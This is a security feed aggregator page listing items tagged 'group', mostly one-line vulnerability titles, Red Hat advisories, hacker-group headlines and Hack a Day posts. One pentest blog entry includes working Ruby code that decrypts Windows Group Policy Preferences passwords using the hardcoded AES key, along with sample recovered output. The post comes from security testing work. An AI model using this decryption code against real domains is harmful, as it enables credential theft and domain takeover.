jetlib.sec » Tags » group

Feeds

265183 items (14 unread) in 27 feeds

• 0day.today (was: 1337day, Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories (6 unread)
• Packet Storm Security Exploits (7 unread)
• Packet Storm Security Recent Files (1 unread)
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

157 items tagged "group"

Related tags: tiff image [+], libtiff [+], image buffer [+], day [+], cross [+], ccitt [+], buffer overflow vulnerability [+], todd miller [+], local privilege escalation [+], e commerce group [+], commerce group [+], e commerce [+], vpn implementation [+], red hat security [+], implementation [+], hacker group [+], hacker [+], cisco ipsec [+], cisco vpn [+], cisco pix [+], arbitrary code [+], vulnerability [+], virtual group [+], pranian [+], php [+], moinmoin [+], media [+], information disclosure vulnerability [+], webapps [+], web [+], vulnerabilities [+], virtual [+], ubuntu [+], symmetric encryption [+], sudo command [+], slang [+], selection [+], security [+], remote shell [+], red [+], python web [+], python [+], policy [+], php news [+], paster [+], news [+], network authentication system [+], nafis [+], n.e.t. e commerce [+], media group [+], mandriva linux [+], majalty [+], magnolia [+], lostmon [+], iran [+], hat [+], hackaday [+], group selection [+], geek [+], gain root privileges [+], formula group [+], formula [+], forgery [+], enumeration [+], development group [+], development [+], design group [+], design [+], default installation [+], command execution [+], command [+], cisco adaptive [+], bugzilla [+], bugtraq [+], ariatel [+], alexander kurtz [+], wuethrich [+], wsis [+], society [+], sites [+], series concentrators [+], series [+], security appliances [+], robots [+], ralf bendrath [+], phishing [+], permission [+], pars [+], paris [+], office calendar [+], n.e.t e commerce [+], markus wuethrich [+], markus beckedahl [+], maildrop [+], iwd [+], india [+], ifp [+], hacks [+], group permission [+], germany [+], georg greve [+], fwd [+], europe [+], escalation [+], desc [+], def con [+], chennai india [+], chennai [+], chaos communication camp [+], call for papers [+], call [+], berlin [+], attacker [+], addressbook [+], Pentesting [+], sql injection [+], year [+], xpen [+], x05 [+], working group [+], working [+], wikileaks [+], wi fi [+], web group [+], web applications group [+], web applications [+], vulnerability note [+], vpn [+], vows [+], version [+], unmanned ocean [+], tindie [+], technique [+], tax woes [+], tax exempt status [+], tax [+], targets [+], tablet computers [+], supplementary [+], successes [+], stormy night [+], stack overflow [+], st. louis [+], spectrum [+], sniff [+], single group [+], sid [+], show [+], shell [+], share ideas [+], script [+], saudisoftech [+], sailboat [+], safer use [+], safari for windows [+], rpcclient [+], robotics [+], remote [+], read [+], reactor [+], raymond forbes [+], raids [+], puppet [+], protocol igmp [+], pinta [+], php sql [+], php addressbook [+], phil [+], pentest [+], peer group [+], pcb [+], pc administrator [+], orlando florida [+], online [+], oic [+], new [+], nbsp [+], name [+], more [+], mine [+], mind [+], microsoft [+], michigan [+], meng [+], martinique [+], mad scientist [+], lvl [+], louisville [+], logistics group [+], logistics [+], links [+], link dos [+], launches [+], kickstarter [+], k meleon [+], iwd group [+], issue [+], ireland [+], internet group management protocol [+], internet group management [+], internet [+], innovative media group [+], implementation group [+], icbms [+], housing group [+], housing [+], haunted house [+], hackerspace [+], guid [+], group version [+], group talks [+], group show [+], group project [+], group power [+], group orders [+], group news [+], group data [+], group cat [+], grand rapids michigan [+], grand rapids [+], grand opening [+], government businesses [+], good resources [+], fundraisers [+], forbes [+], financial institutions [+], fbi [+], etsy [+], ern [+], engine [+], encrypted data [+], elgg [+], domain admin [+], dll [+], dissolution [+], directory [+], dev boards [+], defends [+], data modem [+], data breach [+], crack [+], convertor [+], consumer privacy [+], consumer group [+], consulting group [+], consulting [+], cons [+], congresswoman [+], conficker [+], commerce [+], claims [+], claim responsibility [+], claim [+], cisco ios [+], cat [+], caribbean [+], capacitor [+], candy [+], camaraderie [+], burst data [+], body scanners [+], black hat [+], beta2 [+], axis [+], august 1 [+], arch [+], antileaks [+], anonymous [+], animatronics [+], alqatari [+], alkon [+], admins group [+], administration side [+], admin [+], active directory [+], acl [+], accused [+], aberystwyth university [+], Software [+], Hackerspaces [+], HackIt [+], General [+], Discussion [+], sql [+], sudo [+], runas [+], dow [+], txt [+], privilege escalation vulnerability [+], office [+], group office [+]

• December 18, 2012
• 4:01

  Tindie gets Fundraisers for kickstarting and group buys

   » ‎ Hack a Day
  The etsy of electronics project, Tindie, has a brand new feature: It’s a Kickstarter-esque endeavor called a Fundraiser that allows you to sell your projects to other electron enthusiasts. Of course the new Tindie Fundraisers may soon be just another Kickstarter clone for “exciting,” “new,” and “innovative” Arduino dev boards, something we’ve lamented before. We’re really interested in seeing [...]

  Tags:  group fundraisers tindie dev-boards etsy kickstarter news  

• December 13, 2012
• 10:00

  Bugtraq: Addressbook v8.1.24.1 Group Name XSS

   » ‎ SecurityFocus Vulnerabilities
  Addressbook v8.1.24.1 Group Name XSS

  Tags:  group addressbook name  

• November 11, 2012
• 13:07

  [web applications] - Dow Group SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [web applications] - Dow Group SQL Injection Vulnerability

  Tags:  group web dow sql-injection web-applications vulnerability  

• November 07, 2012
• 16:00

  MoinMoin Virtual Group ACL Evaluation Security Bypass Vulnerability

   » ‎ SecuriTeam
  MoinMoin is prone to a security-bypass vulnerability because a group containing a virtual group fails to evaluate the ACL rules correctly.

  Tags:  group acl moinmoin virtual-group vulnerability  

• November 02, 2012
• 11:01

  Computers Not Candy with The Geek Group

   » ‎ Hack a Day
  This year for Halloween, The Geek Group, decided to take a very different approach to outreach. Instead of making animatronics, or converting their giant (seriously HUGE) space into a haunted house, they held an event called “Computers Not Candy” where they teamed up with a large local company to bring 100 tablet computers to 100 [...]

  Tags:  group year geek candy tablet-computers animatronics haunted-house cons  

• October 30, 2012
• 11:26

  [Video] Monitoring and Influencing the World Summit on the Information Society

   » ‎ SecDocs
  Authors: Markus Beckedahl Ralf Bendrath
  Tags: social
  Event: Chaos Communication Camp 2003
  Abstract: The World Summit on the Information Society (WSIS) is the latest in a long series of world summits organized by the United Nations that deal with central questions of humanity like the environment, women‚s rights, development, climate change, etc. At the WSIS, information and communication are on the agenda for the first time. The world summit is supposed to develop a common understanding of the information society. In Germany, a WSIS working group initiated by the Network New Media has been meeting continuously since summer 2002. The group has debated the themes of the WSIS, developed civil society positions and planned own interventions. Since January 2003, three open meetings of this working group with members of other non-governmental organizations, alternative media and scientific institutions have been held in Berlin. The working group was expanded and officially established as the "German Civil Society Coordinating Group for WSIS". Delegates of the group have attended important European and world-wide preparatory conferences. They monitor the developments and try to influence the agenda in favor of civil society demands. Single members of the working group are engaged in the sub-committees and caucuses of the international Civil Society Plenary Coordination Group. For the worldwide preparatory meeting in Paris in July, the group sent Georg Greve, President of the Free Software Foundation, Europe, as a civil society delegate into the German governmental delegation. Other members of the group are involved in the counter and alternative summit activities that are currently being planned by media and computer activists, such as the Polymedia lab or the World Forum on Communication Rights. In this panel at the ccc-camp we want to talk about and discuss the topics of the WSIS. What is going on globally and which positions do the different Players like governments, civil society and business have? What are the positions, campains and activities of the global civil society? What is happening especially in Germany? How can civil society use the attention while the WSIS is going on to transport alternative topics like freedoms of information, free software and human rights in the information society?

  Tags:  wsis group society markus-beckedahl ralf-bendrath georg-greve germany europe paris berlin chaos-communication-camp  

• 11:24

  [Slides] Monitoring and Influencing the World Summit on the Information Society

   » ‎ SecDocs
  Authors: Markus Beckedahl Ralf Bendrath
  Tags: social
  Event: Chaos Communication Camp 2003
  Abstract: The World Summit on the Information Society (WSIS) is the latest in a long series of world summits organized by the United Nations that deal with central questions of humanity like the environment, women‚s rights, development, climate change, etc. At the WSIS, information and communication are on the agenda for the first time. The world summit is supposed to develop a common understanding of the information society. In Germany, a WSIS working group initiated by the Network New Media has been meeting continuously since summer 2002. The group has debated the themes of the WSIS, developed civil society positions and planned own interventions. Since January 2003, three open meetings of this working group with members of other non-governmental organizations, alternative media and scientific institutions have been held in Berlin. The working group was expanded and officially established as the "German Civil Society Coordinating Group for WSIS". Delegates of the group have attended important European and world-wide preparatory conferences. They monitor the developments and try to influence the agenda in favor of civil society demands. Single members of the working group are engaged in the sub-committees and caucuses of the international Civil Society Plenary Coordination Group. For the worldwide preparatory meeting in Paris in July, the group sent Georg Greve, President of the Free Software Foundation, Europe, as a civil society delegate into the German governmental delegation. Other members of the group are involved in the counter and alternative summit activities that are currently being planned by media and computer activists, such as the Polymedia lab or the World Forum on Communication Rights. In this panel at the ccc-camp we want to talk about and discuss the topics of the WSIS. What is going on globally and which positions do the different Players like governments, civil society and business have? What are the positions, campains and activities of the global civil society? What is happening especially in Germany? How can civil society use the attention while the WSIS is going on to transport alternative topics like freedoms of information, free software and human rights in the information society?

  Tags:  wsis group society markus-beckedahl ralf-bendrath georg-greve germany europe paris berlin chaos-communication-camp  

• October 19, 2012
• 6:00

  Group Policy Preferences and Getting Your Domain 0wned

   » ‎ Carnal0wnage
  So i put this link out on twitter but forgot to put it on the blog.
  
  I did a talk at the Oct 20012 NovaHackers meeting on exploiting 2008 Group Policy Preferences (GPP) and how they can be used to set local users and passwords via group policy.
  
   I've run into this on a few tests where people are taking advantage of this exteremely handy feature to set passwords across the whole domain, and then allowing users or attackers the ability to decrypt these passwords and subsequently 0wning everything :-)
  
   So here are the slides:
  
  Exploiting Group Policy Preferences from chrisgates
  
  Blog post explaining the issue in detail:
  http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
  
  Metasploit post module:
  http://metasploit.com/modules/post/windows/gather/credentials/gpp
  
  PowerShell module to do it:
  http://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
  
  I ended up writing some ruby to do it (the blog post has some python) because the metasploit module was downloading the xml file to loot but taking a poop prior to getting to the decode part.  now you can do it yourself:
  
  
  require 'rubygems'
require 'openssl'
require 'base64'


encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"

def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)

key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion

return pass
end

blah = decrypt(encrypted_data)
puts blah

In Action:

user@ubuntu:~$ ruby gpp-decrypt-string.rb
Local*P4ssword!



  Tags:  nbsp group policy pentest encrypted-data x05 Pentesting  

• October 15, 2012
• 9:00

  Controlling a robot with your mind

   » ‎ Hack a Day
  For [Ern]‘s MEng group project, his group had to develop a robotics platform capable of achieving some end goal. Because innovation is a large part of the grade, [Ern] convinced his team members to work with a brain controlled interface and build a mind controlled robotics platform. For wont of having an easy build, [Ern] [...]

  Tags:  group mind ern group-project meng robotics robots hacks  

• October 11, 2012
• 0:00

  Vuln: MoinMoin Virtual Group ACL Evaluation Security Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  MoinMoin Virtual Group ACL Evaluation Security Bypass Vulnerability

  Tags:  group virtual moinmoin virtual-group vulnerability  

• September 17, 2012
• 0:00

  Vuln: MoinMoin Virtual Group ACL Evaluation Security Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  MoinMoin Virtual Group ACL Evaluation Security Bypass Vulnerability

  Tags:  group virtual moinmoin virtual-group vulnerability  

• September 05, 2012
• 0:00

  Vuln: MoinMoin Virtual Group ACL Evaluation Security Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  MoinMoin Virtual Group ACL Evaluation Security Bypass Vulnerability

  Tags:  group virtual moinmoin virtual-group vulnerability  

• September 04, 2012
• 14:00

  [webapps / 0day] - Group-Office Calendar 4.0.88 SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - Group-Office Calendar 4.0.88 SQL Injection Vulnerability

  Tags:  group office day group-office office-calendar vulnerability  

• 14:00

  [web applications] - Group-Office Calendar 4.0.88 SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [web applications] - Group-Office Calendar 4.0.88 SQL Injection Vulnerability

  Tags:  group office web web-applications-group group-office office-calendar  

• September 02, 2012
• 4:11

  Pro-Logistics Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Pro-Logistics Group suffers from a remote SQL injection vulnerability. Note that this finding houses site-specific data.

  Tags:  group sql logistics logistics-group vulnerability-note  

• August 27, 2012
• 18:31

  Red Hat Security Advisory 2012-1206-01

   » ‎ Packet Storm Security Advisories
  Red Hat Security Advisory 2012-1206-01 - Python Paste provides middleware for building and running Python web applications. The python-paste-script package includes paster, a tool for working with and running Python Paste applications. It was discovered that paster did not drop supplementary group privileges when started by the root user. Running "paster serve" as root to start a Python web application that will run as a non-root user and group resulted in that application running with root group privileges. This could possibly allow a remote attacker to gain access to files that should not be accessible to the application.

  Tags:  group python paster python-web red-hat-security  

• 18:31

  Red Hat Security Advisory 2012-1206-01

   » ‎ Packet Storm Security Recent Files
  Red Hat Security Advisory 2012-1206-01 - Python Paste provides middleware for building and running Python web applications. The python-paste-script package includes paster, a tool for working with and running Python Paste applications. It was discovered that paster did not drop supplementary group privileges when started by the root user. Running "paster serve" as root to start a Python web application that will run as a non-root user and group resulted in that application running with root group privileges. This could possibly allow a remote attacker to gain access to files that should not be accessible to the application.

  Tags:  group python paster python-web red-hat-security  

• 18:31

  Red Hat Security Advisory 2012-1206-01

   » ‎ Packet Storm Security Misc. Files
  Red Hat Security Advisory 2012-1206-01 - Python Paste provides middleware for building and running Python web applications. The python-paste-script package includes paster, a tool for working with and running Python Paste applications. It was discovered that paster did not drop supplementary group privileges when started by the root user. Running "paster serve" as root to start a Python web application that will run as a non-root user and group resulted in that application running with root group privileges. This could possibly allow a remote attacker to gain access to files that should not be accessible to the application.

  Tags:  group python paster python-web red-hat-security  

• August 13, 2012
• 8:09

  AntiLeaks Group Claim Responsibility For WikiLeaks Attacks

   » ‎ Packet Storm Security Headlines
  AntiLeaks Group Claim Responsibility For WikiLeaks Attacks

  Tags:  group antileaks claim claim-responsibility  

• July 15, 2012
• 6:01

  LVL1 has a rocketeers group, is not working on ICBMs.

   » ‎ Hack a Day
  We’re very familiar with the Louisville Hackerspace LVL1 here at Hackaday. From their GLaDOS-inspired sentient overlord, an evil box to filter the Internet, and a friggin’ moat, LVL1 is the closest we’ve got to a mad scientist heard cackling from a wind-swept castle on a stormy night. It turns out they also have a rocketry program. [...]

  Tags:  icbms group lvl louisville hackaday mad-scientist stormy-night engine hacks  

• May 07, 2012
• 12:52

  Magnolia Development Group CSRF / SQL Injection

   » ‎ Packet Storm Security Exploits
  Magnolia Development Group suffers from cross site request forgery and remote SQL injection vulnerabilities.

  Tags:  group development magnolia development-group forgery  

• 12:52

  Magnolia Development Group CSRF / SQL Injection

   » ‎ Packet Storm Security Recent Files
  Magnolia Development Group suffers from cross site request forgery and remote SQL injection vulnerabilities.

  Tags:  group development magnolia development-group forgery  

• 12:52

  Magnolia Development Group CSRF / SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Magnolia Development Group suffers from cross site request forgery and remote SQL injection vulnerabilities.

  Tags:  group development magnolia development-group forgery  

• April 30, 2012
• 7:06

  N.E.T E-Commerce Group Cross Site Scripting

   » ‎ Packet Storm Security Recent Files
  N.E.T E-Commerce Group suffers from a cross site scripting vulnerability.

  Tags:  group e-commerce cross n.e.t-e-commerce e-commerce-group commerce-group vulnerability  

• 7:06

  N.E.T E-Commerce Group Cross Site Scripting

   » ‎ Packet Storm Security Misc. Files
  N.E.T E-Commerce Group suffers from a cross site scripting vulnerability.

  Tags:  group e-commerce cross n.e.t-e-commerce e-commerce-group commerce-group vulnerability  

• April 27, 2012
• 13:01

  Hackerspace Intro: The Geek Group in Grand Rapids, Michigan

   » ‎ Hack a Day
  We’re happy to see some links rolling in from our call for Hackerspace introductions. This is sort of a reintroduction of The Geek Group. They’ve been around for a while and we’ve featured several interesting projects coming out of the collective (check out this pulse capacitor autopsy). You may remember some tax woes they ran into [...]

  Tags:  group hackerspace geek michigan grand-rapids tax-woes grand-rapids-michigan capacitor Hackerspaces  

• February 21, 2012
• 7:29

  Red Hat Security Advisory 2012-0306-03

   » ‎ Packet Storm Security Advisories
  Red Hat Security Advisory 2012-0306-03 - Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third-party, the Key Distribution Center. It was found that ftpd, a Kerberos-aware FTP server, did not properly drop privileges. On Red Hat Enterprise Linux 5, the ftpd daemon did not check for the potential failure of the effective group ID change system call. If the group ID change failed, a remote FTP user could use this flaw to gain unauthorized read or write access to files that are owned by the root group.

  Tags:  group hat red network-authentication-system red-hat-security symmetric-encryption  

• 7:29

  Red Hat Security Advisory 2012-0306-03

   » ‎ Packet Storm Security Recent Files
  Red Hat Security Advisory 2012-0306-03 - Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third-party, the Key Distribution Center. It was found that ftpd, a Kerberos-aware FTP server, did not properly drop privileges. On Red Hat Enterprise Linux 5, the ftpd daemon did not check for the potential failure of the effective group ID change system call. If the group ID change failed, a remote FTP user could use this flaw to gain unauthorized read or write access to files that are owned by the root group.

  Tags:  group hat red network-authentication-system red-hat-security symmetric-encryption  

• 7:29

  Red Hat Security Advisory 2012-0306-03

   » ‎ Packet Storm Security Misc. Files
  Red Hat Security Advisory 2012-0306-03 - Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third-party, the Key Distribution Center. It was found that ftpd, a Kerberos-aware FTP server, did not properly drop privileges. On Red Hat Enterprise Linux 5, the ftpd daemon did not check for the potential failure of the effective group ID change system call. If the group ID change failed, a remote FTP user could use this flaw to gain unauthorized read or write access to files that are owned by the root group.

  Tags:  group hat red network-authentication-system red-hat-security symmetric-encryption  

• January 24, 2012
• 10:14

  Alkon Consulting Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Alkon Consulting Group suffers from a remote SQL injection vulnerability.

  Tags:  alkon group consulting consulting-group vulnerability  

• December 27, 2011
• 14:00

  [webapps / 0day] - Majalty Group Sites SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - Majalty Group Sites SQL Injection Vulnerability

  Tags:  group day majalty vulnerability  

• 9:34

  Majalty Group Sites SQL Injection

   » ‎ Packet Storm Security Recent Files
  Majalty Group Sites software suffers from a remote SQL injection vulnerability.

  Tags:  group majalty sites vulnerability  

• 9:34

  Majalty Group Sites SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Majalty Group Sites software suffers from a remote SQL injection vulnerability.

  Tags:  group majalty sites vulnerability  

• December 20, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• December 10, 2011
• 13:21

  Ariatel Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Ariatel Group suffers from a remote SQL injection vulnerability.

  Tags:  group ariatel sql vulnerability  

• 13:21

  Ariatel Group SQL Injection

   » ‎ Packet Storm Security Recent Files
  Ariatel Group suffers from a remote SQL injection vulnerability.

  Tags:  group ariatel sql vulnerability  

• 13:21

  Ariatel Group SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Ariatel Group suffers from a remote SQL injection vulnerability.

  Tags:  group ariatel sql vulnerability  

• October 30, 2011
• 21:00

  [webapps / 0day] - Dow Group Multiple Sql Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - Dow Group Multiple Sql Injection Vulnerability

  Tags:  group day dow webapps sql-injection vulnerability  

• 10:53

  [Slides] Active Directory and Group Policy

   » ‎ SecDocs
  Authors: Raymond Forbes
  Tags: Windows
  Event: Black Hat EU 2001
  

  Tags:  group directory policy raymond-forbes black-hat active-directory forbes  

• 4:11

  Slang Media Group Shell Upload

   » ‎ Packet Storm Security Exploits
  Slang Media Group suffers from a remote shell upload vulnerability.

  Tags:  group slang media remote-shell media-group  

• 4:11

  Slang Media Group Shell Upload

   » ‎ Packet Storm Security Recent Files
  Slang Media Group suffers from a remote shell upload vulnerability.

  Tags:  group slang media remote-shell media-group  

• 4:11

  Slang Media Group Shell Upload

   » ‎ Packet Storm Security Misc. Files
  Slang Media Group suffers from a remote shell upload vulnerability.

  Tags:  group slang media remote-shell media-group  

• October 19, 2011
• 7:53

  Spectrum Housing Group Cautioned By ICO After Data Breach

   » ‎ Packet Storm Security Headlines
  Spectrum Housing Group Cautioned By ICO After Data Breach

  Tags:  group spectrum housing housing-group data-breach  

• October 12, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• October 02, 2011
• 10:12

  The Formula Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Sites designed by The Formula Group suffer from a remote SQL injection vulnerability that allow for authentication bypass.

  Tags:  group formula sql formula-group sql-injection vulnerability  

• 10:12

  The Formula Group SQL Injection

   » ‎ Packet Storm Security Recent Files
  Sites designed by The Formula Group suffer from a remote SQL injection vulnerability that allow for authentication bypass.

  Tags:  group formula sql formula-group sql-injection vulnerability  

• 10:12

  The Formula Group SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Sites designed by The Formula Group suffer from a remote SQL injection vulnerability that allow for authentication bypass.

  Tags:  group formula sql formula-group sql-injection vulnerability  

• September 14, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• September 06, 2011
• 11:00

  Bugtraq: Pranian Group e107 Cross Site Scripting Vulnerabilities

   » ‎ SecurityFocus Vulnerabilities
  Pranian Group e107 Cross Site Scripting Vulnerabilities

  Tags:  group cross pranian  

• September 04, 2011
• 8:39

  Pranian Group e107 Cross Site Scripting

   » ‎ Packet Storm Security Exploits
  Sites by Pranian Group e107 suffer from a cross site scripting vulnerability.

  Tags:  group cross pranian vulnerability  

• 8:39

  Pranian Group e107 Cross Site Scripting

   » ‎ Packet Storm Security Recent Files
  Sites by Pranian Group e107 suffer from a cross site scripting vulnerability.

  Tags:  group cross pranian vulnerability  

• 8:39

  Pranian Group e107 Cross Site Scripting

   » ‎ Packet Storm Security Misc. Files
  Sites by Pranian Group e107 suffer from a cross site scripting vulnerability.

  Tags:  group cross pranian vulnerability  

• August 23, 2011
• 20:08

  Nafis Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Nafis Group suffers from a remote SQL injection vulnerability.

  Tags:  group nafis sql vulnerability  

• 20:08

  Nafis Group SQL Injection

   » ‎ Packet Storm Security Recent Files
  Nafis Group suffers from a remote SQL injection vulnerability.

  Tags:  group nafis sql vulnerability  

• 20:08

  Nafis Group SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Nafis Group suffers from a remote SQL injection vulnerability.

  Tags:  group nafis sql vulnerability  

• August 22, 2011
• 18:43

  DEF-CON Chennai Group Call For Papers

   » ‎ Packet Storm Security Recent Files
  The DEF-CON Chennai Group [DC602028] call for papers has been announced. It will take place on September 11th, 2011 in Chennai, India.

  Tags:  group call def-con india chennai chennai-india call-for-papers  

• 18:43

  DEF-CON Chennai Group Call For Papers

   » ‎ Packet Storm Security Misc. Files
  The DEF-CON Chennai Group [DC602028] call for papers has been announced. It will take place on September 11th, 2011 in Chennai, India.

  Tags:  group call def-con india chennai chennai-india call-for-papers  

• August 16, 2011
• 21:00

  [webapps / 0day] - WordPress File Groups plugin

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - WordPress File Groups plugin

  Tags:  group day webapps  

• 9:00

  Bugtraq: {Lostmon´s Group} Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection

   » ‎ SecurityFocus Vulnerabilities
  {Lostmon´s Group} Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection

  Tags:  group lostmon guid elgg beta2 bugtraq  

• July 27, 2011
• 15:00

  Bugtraq: Dow Group (dynamic.php?id) (sub.php?solutioncat_id) (news_desc.php?id) (product.php?id) Remote SQL injection Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Dow Group (dynamic.php?id) (sub.php?solutioncat_id) (news_desc.php?id) (product.php?id) Remote SQL injection Vulnerability

  Tags:  group php dow sql-injection bugtraq vulnerability  

• July 20, 2011
• 7:46

  Dow Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Dow Group suffers from multiple remote SQL injection vulnerabilities in dynamic.php, news_desc.php, product.php, and solutions.php.

  Tags:  group php dow sql-injection php-news vulnerabilities  

• 7:46

  Dow Group SQL Injection

   » ‎ Packet Storm Security Recent Files
  Dow Group suffers from multiple remote SQL injection vulnerabilities in dynamic.php, news_desc.php, product.php, and solutions.php.

  Tags:  group php dow sql-injection php-news vulnerabilities  

• 7:46

  Dow Group SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Dow Group suffers from multiple remote SQL injection vulnerabilities in dynamic.php, news_desc.php, product.php, and solutions.php.

  Tags:  group php dow sql-injection php-news vulnerabilities  

• July 19, 2011
• 14:20

  Dow Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Dow Group suffers from a remote SQL injection vulnerability in sub.php.

  Tags:  group dow sql sql-injection vulnerability  

• 14:20

  Dow Group SQL Injection

   » ‎ Packet Storm Security Recent Files
  Dow Group suffers from a remote SQL injection vulnerability in sub.php.

  Tags:  group dow sql sql-injection vulnerability  

• 14:20

  Dow Group SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Dow Group suffers from a remote SQL injection vulnerability in sub.php.

  Tags:  group dow sql sql-injection vulnerability  

• July 13, 2011
• 7:35

  N.E.T. E-Commerce Group Cross Site Scripting

   » ‎ Packet Storm Security Exploits
  N.E.T. E-Commerce Group suffers from a cross site scripting vulnerability.

  Tags:  group e-commerce cross n.e.t.-e-commerce e-commerce-group commerce-group vulnerability  

• 7:35

  N.E.T. E-Commerce Group Cross Site Scripting

   » ‎ Packet Storm Security Recent Files
  N.E.T. E-Commerce Group suffers from a cross site scripting vulnerability.

  Tags:  group e-commerce cross n.e.t.-e-commerce e-commerce-group commerce-group vulnerability  

• 7:35

  N.E.T. E-Commerce Group Cross Site Scripting

   » ‎ Packet Storm Security Misc. Files
  N.E.T. E-Commerce Group suffers from a cross site scripting vulnerability.

  Tags:  group e-commerce cross n.e.t.-e-commerce e-commerce-group commerce-group vulnerability  

• July 07, 2011
• 18:39

  Cisco IPSec VPN Implementation Group Name Enumeration Vulnerability

   » ‎ SecuriTeam
  Cisco IPSec VPN Implementation suffers from a Group Name Enumeration Vulnerability.

  -

  Make your website safer. Use external penetration testing service. First report ready in one hour!

  Tags:  group implementation vpn cisco-ipsec vpn-implementation implementation-group safer-use  

• June 28, 2011
• 18:59

  Hacker Group Anonymous Takes On Orlando, Florida

   » ‎ Packet Storm Security Headlines
  Hacker Group Anonymous Takes On Orlando, Florida

  Tags:  group hacker anonymous hacker-group orlando-florida  

• June 27, 2011
• 0:17

  Dissolution Of Hacker Group Might Not End Attacks

   » ‎ Packet Storm Security Headlines
  Dissolution Of Hacker Group Might Not End Attacks

  Tags:  group hacker dissolution hacker-group  

• June 08, 2011
• 21:00

  [webapps / 0day] - Innovative Media Group => SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - Innovative Media Group => SQL Injection Vulnerability

  Tags:  group day media innovative-media-group sql-injection vulnerability  

• May 10, 2011
• 18:30

  Hacker Group Raids Fox.com, Targets FBI

   » ‎ Packet Storm Security Headlines
  Hacker Group Raids Fox.com, Targets FBI

  Tags:  raids group hacker hacker-group fbi targets  

• April 26, 2011
• 21:00

  [webapps / 0day] - Pars IT Group SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - Pars IT Group SQL Injection Vulnerability

  Tags:  group pars day vulnerability  

• 14:00

  [webapps / 0day] - Pars IT Group SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - Pars IT Group SQL Injection Vulnerability

  Tags:  group pars day vulnerability  

• April 12, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• April 11, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
